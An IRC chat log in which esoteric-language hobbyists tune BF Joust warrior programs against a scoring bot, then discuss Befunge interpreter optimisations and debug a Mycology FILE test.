16:00:43 <Gregor> !bfjoust snapping_turtle (>)*8-[[+>(+)*128..>(-)*128..-]+]
16:00:54 <EgoBot> Score for Gregor_snapping_turtle: 28.8
16:00:55 <Gregor> Errr, whoops, I just modified that into a clone of MBSRWB
16:01:40 <ais523> !bfjoust decoyvibration >>>++<(-)*85<(+)*85<(-)*128(+-)*49881---
16:02:40 <ais523> (that 49881 is carefully calculated merely for the purpose of dodging an egojoust bug)
16:02:44 <Gregor> !bfjoust snapping_turtle (>)*8+[[->(+)*128..>(-)*128..+]-]
16:02:45 <EgoBot> Score for ais523_decoyvibration: 18.3
16:03:08 <EgoBot> Score for Gregor_snapping_turtle: 27.6
16:03:31 <Gregor> !bfjoust snapping_turtle (>)*8-[[+>(+)*128..-]+]
16:03:33 <ais523> that one beats most defence programs, but loses to attack program
16:03:36 <ais523> *attack programs
16:03:45 <EgoBot> Score for Gregor_snapping_turtle: 29.1
16:04:41 <Gregor> !bfjoust snapping_turtle (>)*9([(+)*128..>])*20
16:04:55 <ais523> haha, that won't work well
16:05:03 <ais523> I think you're missing a >
16:05:07 <Gregor> Indeed :P
16:05:17 <EgoBot> Score for Gregor_snapping_turtle: 10.2
16:05:21 <Gregor> That should be "gumming_turtle"
16:05:23 <Gregor> !bfjoust snapping_turtle (>)*9([(+)*128..>]>)*20
16:05:37 <EgoBot> Score for Gregor_snapping_turtle: 43.2
16:05:41 <Gregor> 8-D
16:05:57 <Gregor> This is why you change your flag value ;)
16:06:23 <ais523> yep, looks like that will have to get into some sort of arms war soon
16:06:40 <Gregor> !bfjoust snapping_turtle (>)*9([(+)*128..>>]>)*20
16:06:51 <EgoBot> Score for Gregor_snapping_turtle: 23.6
16:06:57 <Gregor> !bfjoust snapping_turtle (>)*9([(+)*128..>]>)*20
16:07:00 <Gregor> Wow, that was much worse :P
16:07:09 <Gregor> I thought I might skip some decoys, but instead I skipped the tape :P
16:07:11 <EgoBot> Score for Gregor_snapping_turtle: 43.2
16:07:30 <ais523> careless also relies on flags being 128; decoytuner, when it detects "large" decoys, also switches to that strategy but looks for values near 128 instead
16:08:43 <Gregor> !bfjoust scaredy_turtle (>)*9([(+)*128..[[-]<]]>)*100
16:09:03 <EgoBot> Score for Gregor_scaredy_turtle: 24.7
16:09:04 <Gregor> I don't know by what logic that's supposed to make sense :P
16:09:25 -!- augur_ has joined.
16:09:34 -!- augur has quit (Read error: Operation timed out).
16:10:25 <Gregor> !bfjoust careful_turtle (>)*9([(+)*112([+)*32(])*32..>]>)*100
16:10:39 <ais523> !bfjoust decoybooster2 (>)*7++<(-)*85(<(-)*85<(+)*85)*3(-)*43(>)*9([(+)*5[-.]]>)*21
16:10:45 <Gregor> Should've been 20 instead of 100 there ...
16:10:48 <ais523> also, there's a control code / Unicode in your program
16:10:51 <EgoBot> Score for Gregor_careful_turtle: 21.1
16:10:57 <Gregor> Huh?
16:11:04 <ais523> 112
16:11:06 <EgoBot> Score for ais523_decoybooster2: 53.5
16:11:32 <ais523> wow did I not expect that to go straight to the top of the leaderboard
16:12:50 <Gregor> !bfjoust careful_turtle (>)*9([([+)*142(])*142>]>)*20
16:13:35 <EgoBot> Score for Gregor_careful_turtle: 14.6
16:13:39 <Gregor> lawl
16:13:47 <Gregor> !bfjoust snapping_turtle (>)*9([(+)*128..>]>)*21
16:14:00 <EgoBot> Score for Gregor_snapping_turtle: 39.4
16:14:09 <ais523> also, I don't get why decoybooster2 beats careless at all, that should be a hideous matchup for it
16:14:13 <Gregor> How is that worse :P
16:14:13 <Gregor> !bfjoust snapping_turtle (>)*9([(+)*128..>]>)*20
16:14:24 <EgoBot> Score for Gregor_snapping_turtle: 39.2
16:14:32 <Gregor> Oh, it wasn't worse >_>
16:14:34 <Gregor> !bfjoust snapping_turtle (>)*9([(+)*128..>]>)*21
16:14:47 <EgoBot> Score for Gregor_snapping_turtle: 39.4
16:14:53 <Gregor> !bfjoust snapping_turtle -(>)*9([(+)*128..>]>)*21
16:15:04 <EgoBot> Score for Gregor_snapping_turtle: 40.3
16:15:13 <Gregor> May as well not make the same mistake I'm exploiting X-P
16:15:47 -!- elliott has joined.
16:15:51 <Gregor> !bfjoust trapping_turtle -(>(+)*128>(-)*128)*4>([(+)*128..>]>)*21
16:16:05 <ais523> oh, ofc, because it changes its own flag value to stop that sort of shenanigans
16:16:13 <Gregor> Heh :P
16:16:26 <ais523> elliott: I just went straight to the top of the hill with the following relatively short program: (>)*7++<(-)*85(<(-)*85<(+)*85)*3(-)*43(>)*9([(+)*5[-.]]>)*21
16:16:44 <elliott> wow
16:16:46 <ais523> and it changes the flag value by 43, even though I could have just changed it by 1 or 2 to avoid the current flag=128 programs
16:17:06 <elliott> name?
16:17:10 <ais523> decoybooster2
16:17:31 <elliott> didn't i tell you
16:17:34 <elliott> decoys would make a comeback
16:17:57 <EgoBot> Score for Gregor_trapping_turtle: 30.3
16:17:59 <ais523> it's arguably just a tweaked-constants version of decoybooster, /but/ I tweaked the constants in order to make them good generally (mathematically), rather than good against the current hill in particular
16:18:03 <Gregor> >_>
16:18:26 <ais523> elliott: I didn't say that decoys were useless nowadays (they are useful in most types of programs), but trails, which decoybooster doesn't leave as there'd be no point at all
16:18:29 <Gregor> Before I was somewhat distressed by the fact that there really is no "canonical" good BFJoust program. Now I've realized that that's part of the joy of it: We're not trying to find the perfect program, we're in a battle against /each other/.
16:18:46 <elliott> ais523: I wasn't saying you'd contradicted it
16:18:51 <ais523> ah, OK
16:18:58 <elliott> Gregor: No shit :P
16:19:08 <Gregor> !bfjoust trapping_turtle -(>(+)*128>>(-)*128>)*2>([(+)*128..>]>)*21
16:19:11 <ais523> decoybooster(|2) uses decoys in order to buy time to set up better decoys, thus the name
16:19:27 <elliott> I think it's obvious that no program can do everything, because some strategies rely on doing something as soon as you start, and some rely on waiting ages
16:19:29 <elliott> instant conflict
16:19:40 <EgoBot> Score for Gregor_trapping_turtle: 30.6
16:19:42 <elliott> !bfjoust
16:19:42 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
16:19:45 <Gregor> Bleh
16:19:49 <elliott> 30 isn't bad
16:19:51 <ais523> Gregor: it's also notable that the score of the winning program has gone down significantly
16:20:01 <elliott> hmm
16:20:05 <ais523> I think there was one above 60 a while back, now the best program's below 55
16:20:07 <elliott> should we award programs for shortness in points?
16:20:07 <elliott> naw
16:20:10 <ais523> so obviously there's more diversity
16:20:41 <Gregor> Has somebody started writing A Brief History of BF Joust yet? :P
16:20:57 <ais523> !bfjoust decoybooster2 (>)*7++<(-)*85(<(-)*85<(+)*85)*3(-)*43(>)*8(>[(+)*5[-.]])*21(+(.)*5)*10000
16:21:09 <elliott> BF Joust hasn't really had _that_ interesting a history
16:21:16 <EgoBot> Score for ais523_decoybooster2: 53.4
16:21:17 <elliott> ais523: *3
16:21:18 <ais523> trivial fix, to not fall for vibration-style tricks if the tape happens to be exactly 30 squares long
16:21:18 <Gregor> elliott: So? :P
16:21:27 <ais523> elliott: ?
16:21:35 <elliott> ais523: it's decoybooster3!
16:21:43 <elliott> hmm, that finished really fast
16:21:46 <elliott> has the program been optimised
16:22:01 <Gregor> !bfjoust trapping_turtle -(>++>>-->)*2>([(+)*128..>]>)*21
16:22:03 <ais523> I'm not going to rename a program when I make a change that only comes up against one particular style of program with only two representatives on the current hill, and only for one tape length
16:22:12 <EgoBot> Score for Gregor_trapping_turtle: 38.9
16:22:38 <Gregor> !bfjoust trapping_turtle -(>++>--)*4>([(+)*128..>]>)*21
16:22:49 <EgoBot> Score for Gregor_trapping_turtle: 40.6
16:23:04 <Gregor> OK, it's beat snapping :P
16:23:05 <ais523> elliott: not for emulation speed; but it's good vs. defense, which means that it doesn't get caught up in ten-thousand-cycle battles, and it's easy to parse
16:23:58 <elliott> !bfjoust centos_vs_city_of_turtle >>>>>>>>>>>>((-)*85>)*17
16:24:12 <EgoBot> Score for elliott_centos_vs_city_of_turtle: 1.5
16:24:35 <ais523> elliott: haha
16:24:54 <ais523> that doesn't even actually beat the program it's meant to beat
16:25:01 <elliott> ais523: does decoybooster2 decrease by 43 or increase? :D
16:25:09 <elliott> i was trying to beat it, in case that's not obvious
16:25:20 <ais523> depends on polarity, obviously
16:25:33 <ais523> but it topples your flag before you topple its, on every tape length
16:25:36 <ais523> ah no
16:25:44 <ais523> try adding a . between (-)*85 and >
16:25:49 <ais523> then you might actually have a chance ;)
16:26:11 -!- hagb4rd has joined.
16:26:12 <elliott> anyway, Shiro! I fixed my stupid bug, and now I just have a different stupid b ug instead
16:26:24 -!- augur_ has quit (Ping timeout: 240 seconds).
16:26:53 <elliott> !bfjoust I_WILL_SUE_YOU_IN_A_COURT_OF_LAW_IN_TRENTON_NEW_JERSEY >>>>>>>>>>>>((-)*85>)*17
16:26:53 <ais523> I think that for /any/ BF Joust program, there's some program that beats it on every tape length at every polarity
16:26:59 <ais523> but I'm not sure
16:27:05 <EgoBot> Score for elliott_I_WILL_SUE_YOU_IN_A_COURT_OF_LAW_IN_TRENTON_NEW_JERSEY: 1.5
16:27:06 <ais523> elliott: err, you didn't change it at all
16:27:08 <elliott> oops
16:27:09 <elliott> :-D
16:27:12 <elliott> !bfjoust I_WILL_SUE_YOU_IN_A_COURT_OF_LAW_IN_TRENTON_NEW_JERSEY >>>>>>>>>>>>((-)*85.>)*17
16:27:16 <elliott> ais523: you proved that a program always draws with itself, right?
16:27:19 <elliott> peeps in here were wondering
16:27:23 <ais523> yep, obvious due to symmetry
16:27:24 <EgoBot> Score for elliott_I_WILL_SUE_YOU_IN_A_COURT_OF_LAW_IN_TRENTON_NEW_JERSEY: 1.5
16:27:46 <elliott> ais523: obvious, but proven?
16:27:53 <ais523> ais523_decoybooster2.bfjoust vs elliott_I_WILL_SUE_YOU_IN_A_COURT_OF_LAW_IN_TRENTON_NEW_JERSEY.bfjoust: <<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<< ais523_decoybooster2.bfjoust wins
16:27:54 <elliott> it seems something obvously true but not obviously trivial to prove
16:27:58 <elliott> :D
16:28:02 <ais523> elliott: you can prove it in one line, "symmetry"
16:28:09 <ais523> that'd be accepted by any paper or journal
16:28:10 <elliott> that's not a proof!
16:28:15 <ais523> if you really care, you can point out what the symmetry is
16:28:18 <elliott> OK, it's close :)
16:28:32 <Gregor> !bfjoust trapping_turtle -(>++>--)*2(>)*5([(+)*128..>]>)*21
16:28:43 <EgoBot> Score for Gregor_trapping_turtle: 37.3
16:28:47 <ais523> elliott: I'm going to run that locally, to see why you still aren't beating decoybooster2
16:28:55 <Gregor> !bfjoust trapping_turtle -(>++>--)*4>([(+)*128..>]>)*21
16:29:08 <EgoBot> Score for Gregor_trapping_turtle: 40.6
16:29:10 <elliott> ais523: an interesting project would be to create a program that takes a program and tries to print out a counter-program
16:29:16 <elliott> I think this would actually be feasible for the most-part
16:29:20 -!- augur has joined.
16:29:21 <Gregor> !bfjoust trapping_turtle -(>+>-)*4>([(+)*128..>]>)*21
16:29:41 <EgoBot> Score for Gregor_trapping_turtle: 41.0
16:30:07 <ais523> elliott: you got the flag value wrong, I actually set the flag to (+/-) 86
16:30:22 <Gregor> !bfjoust bisexual_trapping_turtle -(>+>-)*4>([(+)*128..>]>[(-)*128..>]>)*10
16:30:23 <ais523> and ofc on half the polarities, you change it the wrong way anyway
16:30:38 <Gregor> In retrospect, that might make no difference at all :P
16:30:43 <EgoBot> Score for Gregor_bisexual_trapping_turtle: 39.0
16:30:48 <ais523> getting up into the 40s is impressive, anyway
16:30:50 <Gregor> !bfjoust bisexual_trapping_turtle <
16:30:58 <elliott> ais523: but you said 4something yourself
16:31:03 <EgoBot> Score for Gregor_bisexual_trapping_turtle: 0.0
16:31:23 <elliott> Gregor: What happened to furry_furry_bondage_girls, did you not come up with a warrior worthy of the name?
16:31:34 <Gregor> elliott: Not really :P
16:31:39 <elliott> !bfjoust I_WILL_SUE_YOU_IN_A_COURT_OF_LAW_IN_TRENTON_NEW_JERSEY >>>>>>>>>>>>((-)*86.>)*17
16:31:50 <EgoBot> Score for elliott_I_WILL_SUE_YOU_IN_A_COURT_OF_LAW_IN_TRENTON_NEW_JERSEY: 1.6
16:32:04 <Gregor> Outstanding.
16:32:11 <ais523> ais523_decoybooster2.bfjoust vs elliott_I_WILL_SUE_YOU_IN_A_COURT_OF_LAW_IN_TRENTON_NEW_JERSEY.bfjoust: <<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<>>>>>>>>>>< <<<<<<<<<<>>>>>>>>>>< <<<<<<<<<<<<<<<<<<<<< ais523_decoybooster2.bfjoust wins
16:32:21 <ais523> you win on just under half the tape lengths for half the polarities
16:32:31 <ais523> and that's with specifically targeting my program
16:32:32 <elliott> :D
16:33:30 <ais523> on short tapes, you fall off the end before my program has had time to change its flag to 86
16:33:38 <ais523> because it sets up decoys first
16:34:02 <elliott> I fall off the end of really short tapes on purpose
16:34:04 <elliott> to avoid wasting time
16:34:37 <nddrylliog> I'm just wondering what someone would think of you if he were to drop by at this precise moment of the conversation with no prior knowledge of esoteric programming languages.
16:34:41 <Gregor> !bfjoust furry_furry_bondage_girls -(>)*9(([>)*2 ([-]>)*20 ([-]])*2)*20
16:35:14 <EgoBot> Score for Gregor_furry_furry_bondage_girls: 11.7
16:35:20 <Gregor> AWESOME
16:36:18 -!- augur has quit (Ping timeout: 260 seconds).
16:36:21 <ais523> elliott: that's a bad move generally, IMO; the time saved from getting their faster is normally not worth anything, and the time saved from dodging decoys is less helps on no more tape lengths than you sacrifice
16:36:36 <Gregor> 5 38.40 -0.62 Gregor_snapping_turtle.bfjoust // heyo, I'm the highest-scoring program with negative points :P
16:37:21 <ais523> wow, tripstridewire has almost fallen off
16:37:27 <ais523> that should have happened ages ago :P
16:37:56 -!- augur has joined.
16:38:55 <Gregor> !bfjoust return_of_nescience_creep >+>->+>->+>->+(>-++-(.)*132[+]++>-++-(.)*132[-]--)*15 HAY GUYS I TOTES DIDNT WRITE THIS I JUST WANNA SEE IT ON THE HILL
16:39:11 <EgoBot> Score for Gregor_return_of_nescience_creep: 18.1
16:39:15 <Gregor> lawl
16:39:23 <Gregor> That was the winner of the very first egojoust hill :P
16:39:26 -!- augur has quit (Read error: Connection reset by peer).
16:39:54 -!- augur has joined.
16:40:09 <ais523> looks like it predates the existence of offset clear
16:40:13 -!- augur has quit (Read error: Connection reset by peer).
16:40:18 <Gregor> Wow, jix_wiggle3 has been near the top for SO LONG
16:40:21 <ais523> also, is that before or after you fixed the hill being upside-down?
16:40:29 <Gregor> So has slowrush ...
16:40:37 -!- augur has joined.
16:40:57 <ais523> defend7 has started dropping because people know how to take advantage of defence nowadays
16:41:28 <ais523> it's actually pretty interesting that we have the three different main strategies (slow attack, defense, fast attack) in the top three programs
16:41:49 <elliott> "ahumanright.org plans to buy satellite and provide free Internet access for entire world"
16:41:49 <ais523> which is a nice sign of hill diversity
16:41:58 <elliott> I doubt that will happen...
16:42:24 <Gregor> elliott: Naturally, there is nothing more to it than having a satellite.
16:42:37 <elliott> It's a reddit headline.
16:42:41 <elliott> I don't expect it to be accurate.
16:43:29 <elliott> http://www.ahumanright.org/ ;; this is a bit flashy for an organisation that plans to actually do something.
16:43:38 <elliott> Also the javascript effects are annoying; colour me sceptical (but I do support the idea)
16:43:43 <Gregor> More like "a bit retarded"
16:44:08 <elliott> Gregor: What is?
16:44:18 <Gregor> elliott: That web site's "design"
16:44:23 <elliott> Yes, it is.
16:44:32 <elliott> [[JOIN THE TEAM!
16:44:33 <elliott> Boston Intern
16:44:33 <elliott> 10 hours/week at the AHR offices
16:44:33 <elliott> Website & Graphics Designer
16:44:33 <elliott> This website some love.
16:44:33 <elliott> Intern, Web Developer
16:44:35 <elliott> ...PHP, HTML, AJAX, Wordpress, and sexy layouts
16:44:37 <elliott> Country Ambassadors
16:44:39 <elliott> Represent us in your country]]
16:44:43 <elliott> You don't need PHP, HTML, AJAX, Wordpress and sexy layouts to provide Internet access.
16:44:47 <elliott> *Sigh.*
16:45:05 <Gregor> elliott: FILTHY LIES
16:45:14 -!- jix has quit (Quit: leaving).
16:46:38 <elliott> I wonder if DEEWIANT is awake
16:46:46 <Deewiant> Yep
16:46:55 <Deewiant> Just came home :-P
16:47:16 <elliott> 01:57:24 <elliott> Deewiant: Self-log-read-ask: Vorpal: When FILE functions reflect, do they push the file handle back again, or keep it popped?
16:47:23 <Deewiant> Keep it popped like fizzie said
16:47:34 <elliott> fizzie said that?
16:47:45 <Deewiant> 2011-02-10 09:13:33 ( fizzie) elliott: I think I've mostly been assuming that when they reflect, all the arguments have disappeared from the stack; but since they "keep" the handle on stack "normally" I guess that's arguable.
16:47:49 <Deewiant> 2011-02-10 09:14:17 ( fizzie) It does make it marginally easier to close the handle after a failing operation if it does stay there.
16:47:54 <elliott> Ah.
16:47:55 <Deewiant> While you were gone, but still.
16:48:06 <elliott> Deewiant: That's amusingly annoying in that if you plan to use a file past errors you have to duplicate and pop it when the operation works.
16:48:17 <Deewiant> And re. static area: I'd still like to remove it but unfortunately it's needed to be competitive with cfunge on certain classes of programs
16:48:43 <ais523> Deewiant: are you busy trying to get CCBI faster than cfunge?
16:48:46 <elliott> ais523: it already is
16:48:56 <elliott> CCBI2 is something like 10x faster than cfunge on Fungicide, or was it 100x?
16:49:01 <ais523> via better algos?
16:49:04 <elliott> yes
16:49:14 <elliott> Deewiant says that fungot is faster on CCBI now at least, not sure what metric he means
16:49:14 <fungot> elliott: welcome to the internet for help never have any interesting technical fnord?, &c.? string-foldcase or string-case-fold? ;p it might make a nice title for something.
16:49:25 <Deewiant> Don't consider fork.b98 and it's probably not more than 10xish
16:49:30 <elliott> Mycology runs in <0.1s, though, pretty sure it's just about instant
16:49:52 <Deewiant> My fungot comments were mostly based on running ^ul
16:49:52 <fungot> Deewiant: heh, i didn't know that was a big disappointment. i'll have to ascend it again if you can
16:49:54 <elliott> Deewiant: Admittedly Fungicide is more like an "edge-case benchmark" than a benchmark benchmark :P
16:50:11 <Deewiant> It's synthetic and tests mostly boundaries, yes
16:50:44 <ais523> ^style
16:50:44 <fungot> Available: agora alice c64 ct darwin discworld europarl ff7 fisher ic irc* jargon lovecraft nethack pa speeches ss wp youtube
16:51:02 <elliott> Deewiant: You still use a hash-table for the main fungespace right?
16:51:20 <Deewiant> No, the fungespace is almost always stored in the bounding boxes
16:51:34 <Deewiant> I think it falls back to a hash table when there are more than 128 of them or something
16:51:37 <elliott> Deewiant: Which are indexed by a hash table?
16:51:44 <Deewiant> No, they're just in an array
16:51:53 <elliott> I mean outside of the static area.
16:51:55 <Deewiant> (This is where the bucket PR-CIF k-d tree would come in
16:51:56 <Deewiant> )
16:51:58 <Deewiant> In an array
16:52:09 <elliott> Deewiant: I was about to suggest indexing a hash table as "hashtable[foo/16][foo%16]" for some 16.
16:52:12 <elliott> i.e. hash table of static arrays
16:52:18 <Deewiant> The static area is a statically allocated array
16:52:26 <elliott> Right.
16:52:27 <Deewiant> Most of the rest of funge-space is typically dynamically allocated arrays
16:52:48 <Deewiant> In pathological cases that show up only in fungicide, there's a hash table in addition to these.
16:53:13 <elliott> Deewiant: Would the bucket PR-CIF k-d tree let you eliminate the static array? :-P
16:53:19 <Deewiant> No
16:53:39 <Deewiant> The speed of the static array is due to the fact that a[y*CONSTANT + x] is faster than a[y*variable + x], basically
16:53:58 <Deewiant> And likewise tests like x >= 0 && x < CONSTANT instead of x >= variable && x < variable
16:54:26 <Deewiant> This is why I feel so annoyed by its existence :-P
16:54:34 <elliott> Deewiant: Is it so significantly faster that cfunge wins based on it?
16:54:41 <Deewiant> Yes
16:54:44 <Deewiant> And CCBI wins again when it's added
16:55:05 <elliott> Deewiant: That's insane.
16:55:06 <Deewiant> CCBI's is smaller though, so at least that's something.
16:55:13 <elliott> Deewiant: Are we talking 0.001s vs. 0.002s?
16:55:32 <Deewiant> elliott: On fungot's ^ul interpreter, we're talking 10s vs 15s or something
16:55:33 <fungot> Deewiant: or /dev/ blum, which probably is index.html, unless people really write ' hello o) instead, ( read)
16:55:35 <Deewiant> Noticeable, anyway :-P
16:55:48 <elliott> Deewiant: You could make it less of a hack by relocating the static array when the IP moves out of it.
16:55:57 <elliott> Deewiant: i.e. make the static array be a "scratch space" for fungespace.
16:56:13 <Deewiant> elliott: Then it loses part of its usefulness because its position is no longer constant
16:56:18 <Deewiant> So you again slow down bounds checking
16:56:21 <elliott> True.
16:56:35 <ais523> what about a JIT interpreter?
16:56:38 <elliott> ais523: jitfunge
16:56:42 <ais523> as in, you aren't JITting the funge itself
16:56:42 <elliott> by fizzie
16:56:53 <ais523> but rather rewriting constants in your own program in order to adapt to the changes in fungespace
16:56:53 <elliott> It beats everyone by a large margin but doesn't pass Mycology yet AFAIK
16:57:01 <elliott> ais523: self-modifying?
16:57:02 <elliott> I like it
16:57:03 <ais523> yep
16:57:07 <elliott> Deewiant: Do that :D
16:57:09 <Deewiant> It uses a hash table, CCBI should beat it in some cases at least
16:57:40 <Deewiant> elliott: If any decent programming languages supported self-modifying code I probably would
16:57:41 -!- augur has quit (Ping timeout: 240 seconds).
16:58:08 <Deewiant> It annoys me that you get to do it pretty much only at the asm level :-P
16:58:09 -!- jix has joined.
16:58:38 <elliott> Deewiant: CCBIx86-64
16:58:50 <elliott> (I would say CCBIx64 to fit with your dobela interp but "x64" is abominable)
16:59:03 <Deewiant> x64 makes it fit in 8 chars
16:59:20 <Deewiant> elliott: But, part of it is also the fact that you can compile [y*constant + x] to [y << 6 + x] or whatever
16:59:33 <Deewiant> (y << 6) + x, rather
16:59:36 <Deewiant> But anyway
16:59:40 <elliott> Deewiant: Optimise for powers of two or whatever :P
16:59:45 <Deewiant> Would really need that JIT there
16:59:48 <elliott> Also, people who care about 8.3 are weird.
16:59:52 <Deewiant> And this is the point where this becomes a pain
16:59:52 <elliott> That includes you ais523.
17:00:11 <Deewiant> I don't "care" about 8.3 as such but I prefer it
17:00:13 <elliott> Deewiant: Have you considered doing something slightly similar to jitfunge:
17:00:25 <ais523> I care abotu it
17:00:26 <ais523> *about it
17:00:28 <elliott> Deewiant: Compile certain rays to threaded code i.e. lists of function/goto pointers
17:00:41 <elliott> Deewiant: If they're walked along more than once or twice, say
17:00:49 <elliott> Then tight code that doesn't get changed can go super-fast
17:00:54 <elliott> and you don't even have to worry about moving the IP until the end
17:01:00 <Deewiant> "Compile x to code" = reimplement jitfunge
17:01:06 <elliott> Deewiant: Didn't say compile
17:01:08 <elliott> You can do this in C
17:01:10 <elliott> Threaded code is easy
17:01:16 <Deewiant> elliott: You did say compile :-P
17:01:20 <elliott> You _already have_ a goto-pointer to each instruction
17:01:24 <elliott> So just make a list of them
17:01:45 <elliott> You ideally want the blocks of code they point to to end with a jump to the next one but you could do it in an outer loop if that would be more convenient
17:03:23 -!- cal153 has quit (Ping timeout: 240 seconds).
17:04:02 -!- poiuy_qwert has joined.
17:04:38 <elliott> Deewiant: So anyway, my bug with FILE was that any IO error was undoing EVERY change that instruction made
17:04:41 <elliott> Thus not popping the stack
17:04:49 <elliott> I've fixed that and now I have another inexplicable bug -- but hey, at least files actually get closed.
17:04:50 <Deewiant> Right, I saw that
17:04:55 <elliott> Filthy logreader.
17:05:19 <Deewiant> I think I just scrolled to where you pinged me and saw it near there
17:05:40 <elliott> Deewiant: My new problem is what you might call "slightly bizarre": question, does the FILE test use the o instruction?
17:05:57 <Deewiant> It shouldn't
17:06:02 <elliott> GOOD: reopened file in truncate+read mode
17:06:02 <elliott> Wrote bar\nbaz with W.
17:06:02 <elliott> Sought to beginning of file with 20S107-S.
17:06:03 <elliott> BAD: G pushed wrong line length
17:06:03 <elliott> BAD: G didn't read 'bar\n'
17:06:03 <elliott> GOOD: C worked
17:06:07 <elliott> My testing tells me that it reads:
17:06:12 <elliott> " \n"
17:06:24 <elliott> mycotemp.tmp looks like this:
17:06:25 <elliott> ^D^A@>. 1#@v>#
17:06:26 <elliott> ^AFILE"@#<.+@
17:06:26 <elliott> >$^Av5#.< #5
17:06:26 <elliott> >3.E@$ .^@5v
17:06:26 <elliott> ^ 0@# 4.2< >
17:06:26 <elliott> ^@.6_5.@>7.^>
17:06:28 <elliott> >80#@+#^_@ ^
17:06:30 <elliott> v"D: # < jum
17:06:32 <elliott> >"OOG">:#,_1
17:06:34 <elliott> v "GOOD: \
17:06:36 <elliott> Basically a bunch of befunge code squashed into thinness.
17:06:38 <elliott> 490 lines.
17:06:44 <elliott> I don't know whether my reading or writing is broken.
17:06:56 <Deewiant> Run ccbi -t and take a look at the file between instructions :-P
17:07:23 <elliott> >_<
17:07:33 <elliott> Deewiant: ccbi -t on Mycology is an incredibly tedious experience.
17:07:40 <elliott> And I have no idea how to set a sane breakpoint.
17:07:41 <Deewiant> Why's that
17:07:45 -!- poiuy_qwert has quit (Client Quit).
17:08:05 <elliott> Deewiant: Why's what
17:08:10 <Deewiant> Just grep for '"FILE"' in mycology.b98 and set it where that starts
17:08:14 <Deewiant> Why's it incredibly tedious
17:09:14 <elliott> Deewiant: And step through print loops?
17:09:31 <Deewiant> elliott: Break on the fingerprint instructions, G and W etc?
17:09:42 <elliott> OK fine.
17:09:43 <Deewiant> The command being c
17:12:05 <elliott> Deewiant: Your TOYS tests sure call W a lot.
17:12:29 <Deewiant> That's why you run to the FILE place first.
17:12:37 <Deewiant> Or run ccbi -f-all+FILE
17:12:41 <Deewiant> (I think that was the syntax)
17:13:01 <Deewiant> No, it was comma-separated: -f-all,+FILE
17:13:53 <fizzie> -ffast-FILE -foptimize-up-the-wazoo
17:14:36 <elliott> Deewiant: How much do I have to pay you to uneqpber zlpbybtl'f bhgchg naq fvqr-rssrpgf va gur arkg ppov naq oent nobhg lbhe HYGVZNGR CRESBEZNAPR gb ibecny?
17:15:14 <fizzie> You should put in a -ffast-FILE that uses some crafty logic to turn FILE R/W loops into zero-copy splice(2) calls on Linux (when you don't inspect the Funge-space data except by the corresponding R).
17:15:37 <elliott> "Crafty logic" a.k.a. magic
17:16:01 <fizzie> Nah, it can be some sort of a conservative imperfect heuristic.
17:16:18 <elliott> Deewiant: WELL?
17:16:42 <Deewiant> elliott: Not very much, I can always do a following release that undoes the changes
17:16:59 <elliott> Deewiant: I will pay you in gratitude.
17:17:21 <Deewiant> Unfortunately that won't suffice
17:17:50 <elliott> Deewiant: Name a price
17:19:26 <Deewiant> To make it worth my time and the stupidity of it all... 100 €
17:19:51 <elliott> NO DEAL
17:20:22 <Deewiant> Your loss
17:20:52 <elliott> Your loss. In performance.
17:21:01 <Deewiant> Mycology isn't a good benchmark anyway
17:21:16 <Deewiant> Even the current cfunge/ccbi do it in less than 0.01 seconds
17:21:18 <elliott> Deewiant: Seriously, that threaded code thing would work :-P
17:21:40 <Deewiant> I'm not convinced of how much it'd win compared to how much it slows everything down
17:21:48 <Deewiant> Without the JIT aspect of it
17:22:35 <elliott> Deewiant: It wouldn't slow things down, you'd only trigger it if you repeatedly go over the same ray; for going over a ray normally, it'd literally be shoving the ray into a data structure as quickly as possible.
17:22:42 <elliott> You could even "heuristicise" whether to even bother doing that.
17:23:11 <Deewiant> That slows things down.
17:23:21 <elliott> Obviously the time it finally decides to thread it would take about, say, half the time it takes to actually execute, before actually executing it, but after that you'd be able to avoid tons of paperwork when going over it.
17:23:23 <Deewiant> You're checking stuff what, every time an IP moves?
17:23:29 <elliott> Deewiant: No.
17:23:34 <elliott> Just every time it changes delta.
17:23:54 <elliott> And _any_ kind of advanced optimisation is going to involve a branch _somewhere_.
17:24:19 <Deewiant> Of course, I'm just not convinced that the branch in this case isn't enough of a pessimization
17:24:28 <Deewiant> Since you don't then JIT-optimize the ray in any way
17:24:44 <elliott> Deewiant: Threading every ray would be slow since most rays aren't repeatedly executed I would guess
17:25:34 <fizzie> Most of fungot is repeatedly executed, as long as you keep it running and use all the features.
17:25:34 <fungot> fizzie: give it to them
17:25:37 <Deewiant> I always figured I'd add this kind of stuff and funge-space GC and whatnot into other threads but I haven't really bothered doing any more advanced stuff
17:25:48 <fizzie> fungot: Yes I will GIVE IT TO THEM.
17:25:48 <fungot> fizzie: haskell distinguish them by their order, 1 being first, 2 second and so on
17:26:05 <ais523> fungot: surely 0 should be first, 1 second, etc?
17:26:05 <fungot> ais523: i can't be bothered sorting it out
17:26:21 <fizzie> He's a lazy bot.
17:26:26 <fizzie> Well, e.
17:26:33 <ais523> that made surprising sense in-context
17:26:38 <ais523> and where did you learn Agoran pronouns?
17:26:46 <fizzie> From the channel, I guess.
17:27:01 <elliott> ^style agora
17:27:01 <fungot> Selected style: agora (a large selection of Agora rules, both current and historical)
17:27:04 <elliott> fizzie: e
17:27:07 <elliott> fizzie:
17:27:09 <elliott> oops
17:27:09 <elliott> fungot: e
17:27:09 <fungot> elliott: days after a payment order identical to another entity.
17:27:16 <elliott> fizzie: Are you sure it wouldn't prefer "it"?
17:27:56 <fizzie> Isn't 'e' just Spivak, anyway? It's in the gender-neutral pronoun table, that's another place where I might have caught it from.
17:28:07 <fizzie> It might prefer it, it's true.
17:28:38 <fizzie> s/table/table of Wikipedia/
17:29:48 -!- poiuy_qwert has joined.
17:30:03 -!- impomatic has joined.
17:30:41 <elliott> Deewiant: How do you do that -f-all,+FILE thing?
17:30:45 <elliott> "-t -f-all,+FILE" doesn't work.
17:30:52 <elliott> "r" just makes it run until the end.
17:31:43 <Deewiant> That's what it's supposed to do
17:31:50 <Deewiant> -f-all,+FILE disables all fingerprints and then enables FILE
17:32:08 <Deewiant> So you should be able to break on W and be guaranteed that it's FILE'S W, for example
17:32:19 <elliott> Ah.
17:39:16 -!- nddrylliog has quit (Ping timeout: 240 seconds).
